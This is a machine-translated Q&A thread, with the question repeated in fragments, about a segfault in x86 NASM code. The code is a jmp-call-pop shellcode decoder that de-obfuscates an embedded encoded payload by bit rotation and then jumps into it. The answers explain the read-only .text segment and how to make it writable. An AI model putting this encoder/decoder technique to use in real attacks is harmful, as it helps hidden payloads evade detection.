X86 从注册地址移动到有效地址

X86 从注册地址移动到有效地址,x86,nasm,X86,Nasm,我试图将al和bl中的值移动到有效内存中,但我不断遇到分段错误。我的程序所做的是,它获取位于[esi]和[esi+1]的值,然后旋转这些字节并将它们放回原处。然而,当把它们放回[esi]和[esi+1]时,需要将它们交换(因此bl到[esi]和al到[esi+1]),这就是我遇到分段错误的地方 mov al, [esi] mov bl, [esi+1] rol bl,4 ror al,2 mov [esi],bl mov [esi+1],al 有人能解释一下为什么会出现这些分割错误吗 我当

我试图将
al
bl
中的值移动到有效内存中,但我不断遇到分段错误。我的程序所做的是,它获取位于
[esi]
[esi+1]
的值,然后旋转这些字节并将它们放回原处。然而,当把它们放回
[esi]
[esi+1]
时,需要将它们交换(因此
bl
[esi]
al
[esi+1]
),这就是我遇到分段错误的地方

mov al,  [esi]
mov bl,  [esi+1]
rol bl,4
ror al,2
mov [esi],bl
mov [esi+1],al
有人能解释一下为什么会出现这些分割错误吗

我当前的完整代码:

global _start

section .text
_start:
        jmp short call_shellcode

decoder:
        pop esi
        xor ecx, ecx

        xor eax,eax
        xor ebx,ebx

        mov cl, 25

decode:

        lea edi, [esi]
        mov al, byte  [edi]
        mov bl, byte [esi+1]
        ror al,2
        rol bl,4
        mov byte [esi], al
        mov byte [esi+1],bl
        add esi,2
        loop decode
        jmp short EncodedShellcode

call_shellcode:

        call decoder

        EncodedShellcode: db 0x13,0x3,0x5,0xa1,0xf2,0xbc,0x37,0xa1,0x86,0xbc,0x26,0xa5,0xe6,0x26,0x3e,0x41,0x98,0x8b,0x35,0x26,0x1e,0xc2,0xb0,0x37,0x8

代码没有任何错误。但是,由于它在写入
esi
时失败,但在读取
esi
时成功,这意味着目标地址有效,但受写保护

esi的值很可能来自.text段,它是只读的


不太可能的情况是,代码段是可写的,esi指向下一条指令,然后修改为包含无效指令。

我将发布我目前拥有的完整代码,它实际上是一段外壳代码,使用了跳转、调用、弹出技术。我想你可能是对的,.text部分可能不可写。您可以通过省略
jmp short EncodedShellcode
并将外壳代码放置到
.data
来验证这一点。然后,为了克服此问题,必须将文本段重新编程为可写(通过一些系统调用)检查此处的详细信息: